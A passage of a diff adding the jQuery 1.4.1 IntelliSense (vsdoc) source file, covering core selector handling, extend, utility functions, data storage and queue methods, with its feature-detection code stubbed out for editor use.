/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/, + + // Is it a simple selector + isSimple = /^.[^:#\[\.,]*$/, + + // Check if a string has a non-whitespace character in it + rnotwhite = /\S/, + + // Used for trimming whitespace + rtrim = /^(\s|\u00A0)+|(\s|\u00A0)+$/g, + + // Match a standalone tag + rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>)?$/, + + // Keep a UserAgent string for use with jQuery.browser + userAgent = navigator.userAgent, + + // For matching the engine and version of the browser + browserMatch, + + // Has the ready events already been bound? + readyBound = false, + + // The functions to execute on DOM ready + readyList = [], + + // The ready event handler + DOMContentLoaded, + + // Save a reference to some core methods + toString = Object.prototype.toString, + hasOwnProperty = Object.prototype.hasOwnProperty, + push = Array.prototype.push, + slice = Array.prototype.slice, + indexOf = Array.prototype.indexOf; + +jQuery.fn = jQuery.prototype = { + init: function( selector, context ) { + + var match, elem, ret, doc; + + // Handle $(""), $(null), or $(undefined) + if ( !selector ) { + return this; + } + + // Handle $(DOMElement) + if ( selector.nodeType ) { + this.context = this[0] = selector; + this.length = 1; + return this; + } + + // Handle HTML strings + if ( typeof selector === "string" ) { + // Are we dealing with HTML string or an ID? + match = quickExpr.exec( selector ); + + // Verify a match, and that no context was specified for #id + if ( match && (match[1] || !context) ) { + + // HANDLE: $(html) -> $(array) + if ( match[1] ) { + doc = (context ? context.ownerDocument || context : document); + + // If a single string is passed in and it's a single tag + // just do a createElement and skip the rest + ret = rsingleTag.exec( selector ); + + if ( ret ) { + if ( jQuery.isPlainObject( context ) ) { + selector = [ document.createElement( ret[1] ) ]; + jQuery.fn.attr.call( selector, context, true ); + + } else { + selector = [ doc.createElement( ret[1] ) ]; + } + + } else { + ret = buildFragment( [ match[1] ], [ doc ] ); + selector = (ret.cacheable ? ret.fragment.cloneNode(true) : ret.fragment).childNodes; + } + + // HANDLE: $("#id") + } else { + elem = document.getElementById( match[2] ); + + if ( elem ) { + // Handle the case where IE and Opera return items + // by name instead of ID + if ( elem.id !== match[2] ) { + return rootjQuery.find( selector ); + } + + // Otherwise, we inject the element directly into the jQuery object + this.length = 1; + this[0] = elem; + } + + this.context = document; + this.selector = selector; + return this; + } + + // HANDLE: $("TAG") + } else if ( !context && /^\w+$/.test( selector ) ) { + this.selector = selector; + this.context = document; + selector = document.getElementsByTagName( selector ); + + // HANDLE: $(expr, $(...)) + } else if ( !context || context.jquery ) { + return (context || rootjQuery).find( selector ); + + // HANDLE: $(expr, context) + // (which is just equivalent to: $(context).find(expr) + } else { + return jQuery( context ).find( selector ); + } + + // HANDLE: $(function) + // Shortcut for document ready + } else if ( jQuery.isFunction( selector ) ) { + return rootjQuery.ready( selector ); + } + + if (selector.selector !== undefined) { + this.selector = selector.selector; + this.context = selector.context; + } + + return jQuery.isArray( selector ) ? + this.setArray( selector ) : + jQuery.makeArray( selector, this ); + }, + + // Start with an empty selector + selector: "", + + // The current version of jQuery being used + jquery: "1.4.1", + + // The default length of a jQuery object is 0 + length: 0, + + // The number of elements contained in the matched element set + size: function() { + /// + /// The number of elements currently matched. + /// Part of Core + /// + /// + + return this.length; + }, + + toArray: function() { + /// + /// Retrieve all the DOM elements contained in the jQuery set, as an array. + /// + /// + return slice.call( this, 0 ); + }, + + // Get the Nth element in the matched element set OR + // Get the whole matched element set as a clean array + get: function( num ) { + /// + /// Access a single matched element. num is used to access the + /// Nth element matched. + /// Part of Core + /// + /// + /// + /// Access the element in the Nth position. + /// + + return num == null ? + + // Return a 'clean' array + this.toArray() : + + // Return just the object + ( num < 0 ? this.slice(num)[ 0 ] : this[ num ] ); + }, + + // Take an array of elements and push it onto the stack + // (returning the new matched element set) + pushStack: function( elems, name, selector ) { + /// + /// Set the jQuery object to an array of elements, while maintaining + /// the stack. + /// Part of Core + /// + /// + /// + /// An array of elements + /// + + // Build a new jQuery matched element set + var ret = jQuery( elems || null ); + + // Add the old object onto the stack (as a reference) + ret.prevObject = this; + + ret.context = this.context; + + if ( name === "find" ) { + ret.selector = this.selector + (this.selector ? " " : "") + selector; + } else if ( name ) { + ret.selector = this.selector + "." + name + "(" + selector + ")"; + } + + // Return the newly-formed element set + return ret; + }, + + // Force the current matched set of elements to become + // the specified array of elements (destroying the stack in the process) + // You should use pushStack() in order to do this, but maintain the stack + setArray: function( elems ) { + /// + /// Set the jQuery object to an array of elements. This operation is + /// completely destructive - be sure to use .pushStack() if you wish to maintain + /// the jQuery stack. + /// Part of Core + /// + /// + /// + /// An array of elements + /// + + // Resetting the length to 0, then using the native Array push + // is a super-fast way to populate an object with array-like properties + this.length = 0; + push.apply( this, elems ); + + return this; + }, + + // Execute a callback for every element in the matched set. + // (You can seed the arguments with an array of args, but this is + // only used internally.) + each: function( callback, args ) { + /// + /// Execute a function within the context of every matched element. + /// This means that every time the passed-in function is executed + /// (which is once for every element matched) the 'this' keyword + /// points to the specific element. + /// Additionally, the function, when executed, is passed a single + /// argument representing the position of the element in the matched + /// set. + /// Part of Core + /// + /// + /// + /// A function to execute + /// + + return jQuery.each( this, callback, args ); + }, + + ready: function( fn ) { + /// + /// Binds a function to be executed whenever the DOM is ready to be traversed and manipulated. + /// + /// The function to be executed when the DOM is ready. + + // Attach the listeners + jQuery.bindReady(); + + // If the DOM is already ready + if ( jQuery.isReady ) { + // Execute the function immediately + fn.call( document, jQuery ); + + // Otherwise, remember the function for later + } else if ( readyList ) { + // Add the function to the wait list + readyList.push( fn ); + } + + return this; + }, + + eq: function( i ) { + /// + /// Reduce the set of matched elements to a single element. + /// The position of the element in the set of matched elements + /// starts at 0 and goes to length - 1. + /// Part of Core + /// + /// + /// + /// pos The index of the element that you wish to limit to. + /// + + return i === -1 ? + this.slice( i ) : + this.slice( i, +i + 1 ); + }, + + first: function() { + /// + /// Reduce the set of matched elements to the first in the set. + /// + /// + + return this.eq( 0 ); + }, + + last: function() { + /// + /// Reduce the set of matched elements to the final one in the set. + /// + /// + + return this.eq( -1 ); + }, + + slice: function() { + /// + /// Selects a subset of the matched elements. Behaves exactly like the built-in Array slice method. + /// + /// Where to start the subset (0-based). + /// Where to end the subset (not including the end element itself). + /// If omitted, ends at the end of the selection + /// The sliced elements + + return this.pushStack( slice.apply( this, arguments ), + "slice", slice.call(arguments).join(",") ); + }, + + map: function( callback ) { + /// + /// This member is internal. + /// + /// + /// + + return this.pushStack( jQuery.map(this, function( elem, i ) { + return callback.call( elem, i, elem ); + })); + }, + + end: function() { + /// + /// End the most recent 'destructive' operation, reverting the list of matched elements + /// back to its previous state. After an end operation, the list of matched elements will + /// revert to the last state of matched elements. + /// If there was no destructive operation before, an empty set is returned. + /// Part of DOM/Traversing + /// + /// + + return this.prevObject || jQuery(null); + }, + + // For internal use only. + // Behaves like an Array's method, not like a jQuery method. + push: push, + sort: [].sort, + splice: [].splice +}; + +// Give the init function the jQuery prototype for later instantiation +jQuery.fn.init.prototype = jQuery.fn; + +jQuery.extend = jQuery.fn.extend = function() { + /// + /// Extend one object with one or more others, returning the original, + /// modified, object. This is a great utility for simple inheritance. + /// jQuery.extend(settings, options); + /// var settings = jQuery.extend({}, defaults, options); + /// Part of JavaScript + /// + /// + /// The object to extend + /// + /// + /// The object that will be merged into the first. + /// + /// + /// (optional) More objects to merge into the first + /// + /// + + // copy reference to target object + var target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options, name, src, copy; + + // Handle a deep copy situation + if ( typeof target === "boolean" ) { + deep = target; + target = arguments[1] || {}; + // skip the boolean and the target + i = 2; + } + + // Handle case when target is a string or something (possible in deep copy) + if ( typeof target !== "object" && !jQuery.isFunction(target) ) { + target = {}; + } + + // extend jQuery itself if only one argument is passed + if ( length === i ) { + target = this; + --i; + } + + for ( ; i < length; i++ ) { + // Only deal with non-null/undefined values + if ( (options = arguments[ i ]) != null ) { + // Extend the base object + for ( name in options ) { + src = target[ name ]; + copy = options[ name ]; + + // Prevent never-ending loop + if ( target === copy ) { + continue; + } + + // Recurse if we're merging object literal values or arrays + if ( deep && copy && ( jQuery.isPlainObject(copy) || jQuery.isArray(copy) ) ) { + var clone = src && ( jQuery.isPlainObject(src) || jQuery.isArray(src) ) ? src + : jQuery.isArray(copy) ? [] : {}; + + // Never move original objects, clone them + target[ name ] = jQuery.extend( deep, clone, copy ); + + // Don't bring in undefined values + } else if ( copy !== undefined ) { + target[ name ] = copy; + } + } + } + } + + // Return the modified object + return target; +}; + +jQuery.extend({ + noConflict: function( deep ) { + /// + /// Run this function to give control of the $ variable back + /// to whichever library first implemented it. This helps to make + /// sure that jQuery doesn't conflict with the $ object + /// of other libraries. + /// By using this function, you will only be able to access jQuery + /// using the 'jQuery' variable. For example, where you used to do + /// $("div p"), you now must do jQuery("div p"). + /// Part of Core + /// + /// + + window.$ = _$; + + if ( deep ) { + window.jQuery = _jQuery; + } + + return jQuery; + }, + + // Is the DOM ready to be used? Set to true once it occurs. + isReady: false, + + // Handle when the DOM is ready + ready: function() { + /// + /// This method is internal. + /// + /// + + // Make sure that the DOM is not already loaded + if ( !jQuery.isReady ) { + // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). + if ( !document.body ) { + return setTimeout( jQuery.ready, 13 ); + } + + // Remember that the DOM is ready + jQuery.isReady = true; + + // If there are functions bound, to execute + if ( readyList ) { + // Execute all of them + var fn, i = 0; + while ( (fn = readyList[ i++ ]) ) { + fn.call( document, jQuery ); + } + + // Reset the list of functions + readyList = null; + } + + // Trigger any bound ready events + if ( jQuery.fn.triggerHandler ) { + jQuery( document ).triggerHandler( "ready" ); + } + } + }, + + bindReady: function() { + if ( readyBound ) { + return; + } + + readyBound = true; + + // Catch cases where $(document).ready() is called after the + // browser event has already occurred. + if ( document.readyState === "complete" ) { + return jQuery.ready(); + } + + // Mozilla, Opera and webkit nightlies currently support this event + if ( document.addEventListener ) { + // Use the handy event callback + document.addEventListener( "DOMContentLoaded", DOMContentLoaded, false ); + + // A fallback to window.onload, that will always work + window.addEventListener( "load", jQuery.ready, false ); + + // If IE event model is used + } else if ( document.attachEvent ) { + // ensure firing before onload, + // maybe late but safe also for iframes + document.attachEvent("onreadystatechange", DOMContentLoaded); + + // A fallback to window.onload, that will always work + window.attachEvent( "onload", jQuery.ready ); + + // If IE and not a frame + // continually check to see if the document is ready + var toplevel = false; + + try { + toplevel = window.frameElement == null; + } catch(e) {} + + if ( document.documentElement.doScroll && toplevel ) { + doScrollCheck(); + } + } + }, + + // See test/unit/core.js for details concerning isFunction. + // Since version 1.3, DOM methods and functions like alert + // aren't supported. They return false on IE (#2968). + isFunction: function( obj ) { + /// + /// Determines if the parameter passed is a function. + /// + /// The object to check + /// True if the parameter is a function; otherwise false. + + return toString.call(obj) === "[object Function]"; + }, + + isArray: function( obj ) { + /// + /// Determine if the parameter passed is an array. + /// + /// Object to test whether or not it is an array. + /// True if the parameter is a function; otherwise false. + + return toString.call(obj) === "[object Array]"; + }, + + isPlainObject: function( obj ) { + /// + /// Check to see if an object is a plain object (created using "{}" or "new Object"). + /// + /// + /// The object that will be checked to see if it's a plain object. + /// + /// + + // Must be an Object. + // Because of IE, we also have to check the presence of the constructor property. + // Make sure that DOM nodes and window objects don't pass through, as well + if ( !obj || toString.call(obj) !== "[object Object]" || obj.nodeType || obj.setInterval ) { + return false; + } + + // Not own constructor property must be Object + if ( obj.constructor + && !hasOwnProperty.call(obj, "constructor") + && !hasOwnProperty.call(obj.constructor.prototype, "isPrototypeOf") ) { + return false; + } + + // Own properties are enumerated firstly, so to speed up, + // if last one is own, then all properties are own. + + var key; + for ( key in obj ) {} + + return key === undefined || hasOwnProperty.call( obj, key ); + }, + + isEmptyObject: function( obj ) { + /// + /// Check to see if an object is empty (contains no properties). + /// + /// + /// The object that will be checked to see if it's empty. + /// + /// + + for ( var name in obj ) { + return false; + } + return true; + }, + + error: function( msg ) { + throw msg; + }, + + parseJSON: function( data ) { + if ( typeof data !== "string" || !data ) { + return null; + } + + // Make sure the incoming data is actual JSON + // Logic borrowed from http://json.org/json2.js + if ( /^[\],:{}\s]*$/.test(data.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, "@") + .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]") + .replace(/(?:^|:|,)(?:\s*\[)+/g, "")) ) { + + // Try to use the native JSON parser first + return window.JSON && window.JSON.parse ? + window.JSON.parse( data ) : + (new Function("return " + data))(); + + } else { + jQuery.error( "Invalid JSON: " + data ); + } + }, + + noop: function() { + /// + /// An empty function. + /// + /// + }, + + // Evalulates a script in a global context + globalEval: function( data ) { + /// + /// Internally evaluates a script in a global context. + /// + /// + + if ( data && rnotwhite.test(data) ) { + // Inspired by code by Andrea Giammarchi + // http://webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html + var head = document.getElementsByTagName("head")[0] || document.documentElement, + script = document.createElement("script"); + + script.type = "text/javascript"; + + if ( jQuery.support.scriptEval ) { + script.appendChild( document.createTextNode( data ) ); + } else { + script.text = data; + } + + // Use insertBefore instead of appendChild to circumvent an IE6 bug. + // This arises when a base node is used (#2709). + head.insertBefore( script, head.firstChild ); + head.removeChild( script ); + } + }, + + nodeName: function( elem, name ) { + /// + /// Checks whether the specified element has the specified DOM node name. + /// + /// The element to examine + /// The node name to check + /// True if the specified node name matches the node's DOM node name; otherwise false + + return elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase(); + }, + + // args is for internal usage only + each: function( object, callback, args ) { + /// + /// A generic iterator function, which can be used to seemlessly + /// iterate over both objects and arrays. This function is not the same + /// as $().each() - which is used to iterate, exclusively, over a jQuery + /// object. This function can be used to iterate over anything. + /// The callback has two arguments:the key (objects) or index (arrays) as first + /// the first, and the value as the second. + /// Part of JavaScript + /// + /// + /// The object, or array, to iterate over. + /// + /// + /// The function that will be executed on every object. + /// + /// + + var name, i = 0, + length = object.length, + isObj = length === undefined || jQuery.isFunction(object); + + if ( args ) { + if ( isObj ) { + for ( name in object ) { + if ( callback.apply( object[ name ], args ) === false ) { + break; + } + } + } else { + for ( ; i < length; ) { + if ( callback.apply( object[ i++ ], args ) === false ) { + break; + } + } + } + + // A special, fast, case for the most common use of each + } else { + if ( isObj ) { + for ( name in object ) { + if ( callback.call( object[ name ], name, object[ name ] ) === false ) { + break; + } + } + } else { + for ( var value = object[0]; + i < length && callback.call( value, i, value ) !== false; value = object[++i] ) {} + } + } + + return object; + }, + + trim: function( text ) { + /// + /// Remove the whitespace from the beginning and end of a string. + /// Part of JavaScript + /// + /// + /// + /// The string to trim. + /// + + return (text || "").replace( rtrim, "" ); + }, + + // results is for internal usage only + makeArray: function( array, results ) { + /// + /// Turns anything into a true array. This is an internal method. + /// + /// Anything to turn into an actual Array + /// + /// + + var ret = results || []; + + if ( array != null ) { + // The window, strings (and functions) also have 'length' + // The extra typeof function check is to prevent crashes + // in Safari 2 (See: #3039) + if ( array.length == null || typeof array === "string" || jQuery.isFunction(array) || (typeof array !== "function" && array.setInterval) ) { + push.call( ret, array ); + } else { + jQuery.merge( ret, array ); + } + } + + return ret; + }, + + inArray: function( elem, array ) { + if ( array.indexOf ) { + return array.indexOf( elem ); + } + + for ( var i = 0, length = array.length; i < length; i++ ) { + if ( array[ i ] === elem ) { + return i; + } + } + + return -1; + }, + + merge: function( first, second ) { + /// + /// Merge two arrays together, removing all duplicates. + /// The new array is: All the results from the first array, followed + /// by the unique results from the second array. + /// Part of JavaScript + /// + /// + /// + /// The first array to merge. + /// + /// + /// The second array to merge. + /// + + var i = first.length, j = 0; + + if ( typeof second.length === "number" ) { + for ( var l = second.length; j < l; j++ ) { + first[ i++ ] = second[ j ]; + } + } else { + while ( second[j] !== undefined ) { + first[ i++ ] = second[ j++ ]; + } + } + + first.length = i; + + return first; + }, + + grep: function( elems, callback, inv ) { + /// + /// Filter items out of an array, by using a filter function. + /// The specified function will be passed two arguments: The + /// current array item and the index of the item in the array. The + /// function must return 'true' to keep the item in the array, + /// false to remove it. + /// }); + /// Part of JavaScript + /// + /// + /// + /// array The Array to find items in. + /// + /// + /// The function to process each item against. + /// + /// + /// Invert the selection - select the opposite of the function. + /// + + var ret = []; + + // Go through the array, only saving the items + // that pass the validator function + for ( var i = 0, length = elems.length; i < length; i++ ) { + if ( !inv !== !callback( elems[ i ], i ) ) { + ret.push( elems[ i ] ); + } + } + + return ret; + }, + + // arg is for internal usage only + map: function( elems, callback, arg ) { + /// + /// Translate all items in an array to another array of items. + /// The translation function that is provided to this method is + /// called for each item in the array and is passed one argument: + /// The item to be translated. + /// The function can then return the translated value, 'null' + /// (to remove the item), or an array of values - which will + /// be flattened into the full array. + /// Part of JavaScript + /// + /// + /// + /// array The Array to translate. + /// + /// + /// The function to process each item against. + /// + + var ret = [], value; + + // Go through the array, translating each of the items to their + // new value (or values). + for ( var i = 0, length = elems.length; i < length; i++ ) { + value = callback( elems[ i ], i, arg ); + + if ( value != null ) { + ret[ ret.length ] = value; + } + } + + return ret.concat.apply( [], ret ); + }, + + // A global GUID counter for objects + guid: 1, + + proxy: function( fn, proxy, thisObject ) { + /// + /// Takes a function and returns a new one that will always have a particular scope. + /// + /// + /// The function whose scope will be changed. + /// + /// + /// The object to which the scope of the function should be set. + /// + /// + + if ( arguments.length === 2 ) { + if ( typeof proxy === "string" ) { + thisObject = fn; + fn = thisObject[ proxy ]; + proxy = undefined; + + } else if ( proxy && !jQuery.isFunction( proxy ) ) { + thisObject = proxy; + proxy = undefined; + } + } + + if ( !proxy && fn ) { + proxy = function() { + return fn.apply( thisObject || this, arguments ); + }; + } + + // Set the guid of unique handler to the same of original handler, so it can be removed + if ( fn ) { + proxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++; + } + + // So proxy can be declared as an argument + return proxy; + }, + + // Use of jQuery.browser is frowned upon. + // More details: http://docs.jquery.com/Utilities/jQuery.browser + uaMatch: function( ua ) { + ua = ua.toLowerCase(); + + var match = /(webkit)[ \/]([\w.]+)/.exec( ua ) || + /(opera)(?:.*version)?[ \/]([\w.]+)/.exec( ua ) || + /(msie) ([\w.]+)/.exec( ua ) || + !/compatible/.test( ua ) && /(mozilla)(?:.*? rv:([\w.]+))?/.exec( ua ) || + []; + + return { browser: match[1] || "", version: match[2] || "0" }; + }, + + browser: {} +}); + +browserMatch = jQuery.uaMatch( userAgent ); +if ( browserMatch.browser ) { + jQuery.browser[ browserMatch.browser ] = true; + jQuery.browser.version = browserMatch.version; +} + +// Deprecated, use jQuery.browser.webkit instead +if ( jQuery.browser.webkit ) { + jQuery.browser.safari = true; +} + +if ( indexOf ) { + jQuery.inArray = function( elem, array ) { + /// + /// Determines the index of the first parameter in the array. + /// + /// The value to see if it exists in the array. + /// The array to look through for the value + /// The 0-based index of the item if it was found, otherwise -1. + + return indexOf.call( array, elem ); + }; +} + +// All jQuery objects should point back to these +rootjQuery = jQuery(document); + +// Cleanup functions for the document ready method +if ( document.addEventListener ) { + DOMContentLoaded = function() { + document.removeEventListener( "DOMContentLoaded", DOMContentLoaded, false ); + jQuery.ready(); + }; + +} else if ( document.attachEvent ) { + DOMContentLoaded = function() { + // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). + if ( document.readyState === "complete" ) { + document.detachEvent( "onreadystatechange", DOMContentLoaded ); + jQuery.ready(); + } + }; +} + +// The DOM ready check for Internet Explorer +function doScrollCheck() { + if ( jQuery.isReady ) { + return; + } + + try { + // If IE is used, use the trick by Diego Perini + // http://javascript.nwbox.com/IEContentLoaded/ + document.documentElement.doScroll("left"); + } catch( error ) { + setTimeout( doScrollCheck, 1 ); + return; + } + + // and execute any waiting functions + jQuery.ready(); +} + +function evalScript( i, elem ) { + /// + /// This method is internal. + /// + /// + + if ( elem.src ) { + jQuery.ajax({ + url: elem.src, + async: false, + dataType: "script" + }); + } else { + jQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || "" ); + } + + if ( elem.parentNode ) { + elem.parentNode.removeChild( elem ); + } +} + +// Mutifunctional method to get and set values to a collection +// The value/s can be optionally by executed if its a function +function access( elems, key, value, exec, fn, pass ) { + var length = elems.length; + + // Setting many attributes + if ( typeof key === "object" ) { + for ( var k in key ) { + access( elems, k, key[k], exec, fn, value ); + } + return elems; + } + + // Setting one attribute + if ( value !== undefined ) { + // Optionally, function values get executed if exec is true + exec = !pass && exec && jQuery.isFunction(value); + + for ( var i = 0; i < length; i++ ) { + fn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass ); + } + + return elems; + } + + // Getting an attribute + return length ? fn( elems[0], key ) : null; +} + +function now() { + /// + /// Gets the current date. + /// + /// The current date. + + return (new Date).getTime(); +} + +// [vsdoc] The following function has been modified for IntelliSense. +// [vsdoc] Stubbing support properties to "false" for IntelliSense compat. +(function() { + + jQuery.support = {}; + + // var root = document.documentElement, + // script = document.createElement("script"), + // div = document.createElement("div"), + // id = "script" + now(); + + // div.style.display = "none"; + // div.innerHTML = "
a"; + + // var all = div.getElementsByTagName("*"), + // a = div.getElementsByTagName("a")[0]; + + // // Can't get basic test support + // if ( !all || !all.length || !a ) { + // return; + // } + + jQuery.support = { + // IE strips leading whitespace when .innerHTML is used + leadingWhitespace: false, + + // Make sure that tbody elements aren't automatically inserted + // IE will insert them into empty tables + tbody: false, + + // Make sure that link elements get serialized correctly by innerHTML + // This requires a wrapper element in IE + htmlSerialize: false, + + // Get the style information from getAttribute + // (IE uses .cssText insted) + style: false, + + // Make sure that URLs aren't manipulated + // (IE normalizes it by default) + hrefNormalized: false, + + // Make sure that element opacity exists + // (IE uses filter instead) + // Use a regex to work around a WebKit issue. See #5145 + opacity: false, + + // Verify style float existence + // (IE uses styleFloat instead of cssFloat) + cssFloat: false, + + // Make sure that if no value is specified for a checkbox + // that it defaults to "on". + // (WebKit defaults to "" instead) + checkOn: false, + + // Make sure that a selected-by-default option has a working selected property. + // (WebKit defaults to false instead of true, IE too, if it's in an optgroup) + optSelected: false, + + // Will be defined later + checkClone: false, + scriptEval: false, + noCloneEvent: false, + boxModel: false + }; + + // script.type = "text/javascript"; + // try { + // script.appendChild( document.createTextNode( "window." + id + "=1;" ) ); + // } catch(e) {} + + // root.insertBefore( script, root.firstChild ); + + // // Make sure that the execution of code works by injecting a script + // // tag with appendChild/createTextNode + // // (IE doesn't support this, fails, and uses .text instead) + // if ( window[ id ] ) { + // jQuery.support.scriptEval = true; + // delete window[ id ]; + // } + + // root.removeChild( script ); + + // if ( div.attachEvent && div.fireEvent ) { + // div.attachEvent("onclick", function click() { + // // Cloning a node shouldn't copy over any + // // bound event handlers (IE does this) + // jQuery.support.noCloneEvent = false; + // div.detachEvent("onclick", click); + // }); + // div.cloneNode(true).fireEvent("onclick"); + // } + + // div = document.createElement("div"); + // div.innerHTML = ""; + + // var fragment = document.createDocumentFragment(); + // fragment.appendChild( div.firstChild ); + + // // WebKit doesn't clone checked state correctly in fragments + // jQuery.support.checkClone = fragment.cloneNode(true).cloneNode(true).lastChild.checked; + + // // Figure out if the W3C box model works as expected + // // document.body must exist before we can do this + // jQuery(function() { + // var div = document.createElement("div"); + // div.style.width = div.style.paddingLeft = "1px"; + + // document.body.appendChild( div ); + // jQuery.boxModel = jQuery.support.boxModel = div.offsetWidth === 2; + // document.body.removeChild( div ).style.display = 'none'; + // div = null; + // }); + + // // Technique from Juriy Zaytsev + // // http://thinkweb2.com/projects/prototype/detecting-event-support-without-browser-sniffing/ + // var eventSupported = function( eventName ) { + // var el = document.createElement("div"); + // eventName = "on" + eventName; + + // var isSupported = (eventName in el); + // if ( !isSupported ) { + // el.setAttribute(eventName, "return;"); + // isSupported = typeof el[eventName] === "function"; + // } + // el = null; + + // return isSupported; + // }; + + jQuery.support.submitBubbles = false; + jQuery.support.changeBubbles = false; + + // // release memory in IE + // root = script = div = all = a = null; +})(); + +jQuery.props = { + "for": "htmlFor", + "class": "className", + readonly: "readOnly", + maxlength: "maxLength", + cellspacing: "cellSpacing", + rowspan: "rowSpan", + colspan: "colSpan", + tabindex: "tabIndex", + usemap: "useMap", + frameborder: "frameBorder" +}; +var expando = "jQuery" + now(), uuid = 0, windowData = {}; +var emptyObject = {}; + +jQuery.extend({ + cache: {}, + + expando:expando, + + // The following elements throw uncatchable exceptions if you + // attempt to add expando properties to them. + noData: { + "embed": true, + "object": true, + "applet": true + }, + + data: function( elem, name, data ) { + /// + /// Store arbitrary data associated with the specified element. + /// + /// + /// The DOM element to associate with the data. + /// + /// + /// A string naming the piece of data to set. + /// + /// + /// The new data value. + /// + /// + + if ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) { + return; + } + + elem = elem == window ? + windowData : + elem; + + var id = elem[ expando ], cache = jQuery.cache, thisCache; + + // Handle the case where there's no name immediately + if ( !name && !id ) { + return null; + } + + // Compute a unique ID for the element + if ( !id ) { + id = ++uuid; + } + + // Avoid generating a new cache unless none exists and we + // want to manipulate it. + if ( typeof name === "object" ) { + elem[ expando ] = id; + thisCache = cache[ id ] = jQuery.extend(true, {}, name); + } else if ( cache[ id ] ) { + thisCache = cache[ id ]; + } else if ( typeof data === "undefined" ) { + thisCache = emptyObject; + } else { + thisCache = cache[ id ] = {}; + } + + // Prevent overriding the named cache with undefined values + if ( data !== undefined ) { + elem[ expando ] = id; + thisCache[ name ] = data; + } + + return typeof name === "string" ? thisCache[ name ] : thisCache; + }, + + removeData: function( elem, name ) { + if ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) { + return; + } + + elem = elem == window ? + windowData : + elem; + + var id = elem[ expando ], cache = jQuery.cache, thisCache = cache[ id ]; + + // If we want to remove a specific section of the element's data + if ( name ) { + if ( thisCache ) { + // Remove the section of cache data + delete thisCache[ name ]; + + // If we've removed all the data, remove the element's cache + if ( jQuery.isEmptyObject(thisCache) ) { + jQuery.removeData( elem ); + } + } + + // Otherwise, we want to remove all of the element's data + } else { + // Clean up the element expando + try { + delete elem[ expando ]; + } catch( e ) { + // IE has trouble directly removing the expando + // but it's ok with using removeAttribute + if ( elem.removeAttribute ) { + elem.removeAttribute( expando ); + } + } + + // Completely remove the data cache + delete cache[ id ]; + } + } +}); + +jQuery.fn.extend({ + data: function( key, value ) { + /// + /// Store arbitrary data associated with the matched elements. + /// + /// + /// A string naming the piece of data to set. + /// + /// + /// The new data value. + /// + /// + + if ( typeof key === "undefined" && this.length ) { + return jQuery.data( this[0] ); + + } else if ( typeof key === "object" ) { + return this.each(function() { + jQuery.data( this, key ); + }); + } + + var parts = key.split("."); + parts[1] = parts[1] ? "." + parts[1] : ""; + + if ( value === undefined ) { + var data = this.triggerHandler("getData" + parts[1] + "!", [parts[0]]); + + if ( data === undefined && this.length ) { + data = jQuery.data( this[0], key ); + } + return data === undefined && parts[1] ? + this.data( parts[0] ) : + data; + } else { + return this.trigger("setData" + parts[1] + "!", [parts[0], value]).each(function() { + jQuery.data( this, key, value ); + }); + } + }, + + removeData: function( key ) { + return this.each(function() { + jQuery.removeData( this, key ); + }); + } +}); +jQuery.extend({ + queue: function( elem, type, data ) { + if ( !elem ) { + return; + } + + type = (type || "fx") + "queue"; + var q = jQuery.data( elem, type ); + + // Speed up dequeue by getting out quickly if this is just a lookup + if ( !data ) { + return q || []; + } + + if ( !q || jQuery.isArray(data) ) { + q = jQuery.data( elem, type, jQuery.makeArray(data) ); + + } else { + q.push( data ); + } + + return q; + }, + + dequeue: function( elem, type ) { + type = type || "fx"; + + var queue = jQuery.queue( elem, type ), fn = queue.shift(); + + // If the fx queue is dequeued, always remove the progress sentinel + if ( fn === "inprogress" ) { + fn = queue.shift(); + } + + if ( fn ) { + // Add a progress sentinel to prevent the fx queue from being + // automatically dequeued + if ( type === "fx" ) { + queue.unshift("inprogress"); + } + + fn.call(elem, function() { + jQuery.dequeue(elem, type); + }); + } + } +}); + +jQuery.fn.extend({ + queue: function( type, data ) { + /// + /// 1: queue() - Returns a reference to the first element's queue (which is an array of functions). + /// 2: queue(callback) - Adds a new function, to be executed, onto the end of the queue of all matched elements. + /// 3: queue(queue) - Replaces the queue of all matched element with this new queue (the array of functions). + /// + /// The function to add to the queue. + /// + + if ( typeof type !== "string" ) { + data = type; + type = "fx"; + } + + if ( data === undefined ) { + return jQuery.queue( this[0], type ); + } + return this.each(function( i, elem ) { + var queue = jQuery.queue( this, type, data ); + + if ( type === "fx" && queue[0] !== "inprogress" ) { + jQuery.dequeue( this, type ); + } + }); + }, + dequeue: function( type ) { + /// + /// Removes a queued function from the front of the queue and executes it. + /// + /// The type of queue to access. + /// + + return this.each(function() { + jQuery.dequeue( this, type ); + }); + }, + + // Based off of the plugin by Clint Helfers, with permission. + // http://blindsignals.com/index.php/2009/07/jquery-delay/ + delay: function( time, type ) { + /// + /// Set a timer to delay execution of subsequent items in the queue. + /// + /// + /// An integer indicating the number of milliseconds to delay execution of the next item in the queue. + /// + /// + /// A string containing the name of the queue. Defaults to fx, the standard effects queue. + /// + /// + + time = jQuery.fx ? jQuery.fx.speeds[time] || time : time; + type = type || "fx"; + + return this.queue( type, function() { + var elem = this; + setTimeout(function() { + jQuery.dequeue( elem, type ); + }, time ); + }); + }, + + clearQueue: function( type ) { + /// + /// Remove from the queue all items that have not yet been run. + /// + /// + /// A string containing the name of the queue. Defaults to fx, the standard effects queue. + /// + /// + + return this.queue( type || "fx", [] ); + } +}); +var rclass = /[\n\t]/g, + rspace = /\s+/, + rreturn = /\r/g, + rspecialurl = /href|src|style/, + rtype = /(button|input)/i, + rfocusable = /(button|input|object|select|textarea)/i, + rclickable = /^(a|area)$/i, + rradiocheck = /radio|checkbox/; + +jQuery.fn.extend({ + attr: function( name, value ) { + /// + /// Set a single property to a computed value, on all matched elements. + /// Instead of a value, a function is provided, that computes the value. + /// Part of DOM/Attributes + /// + 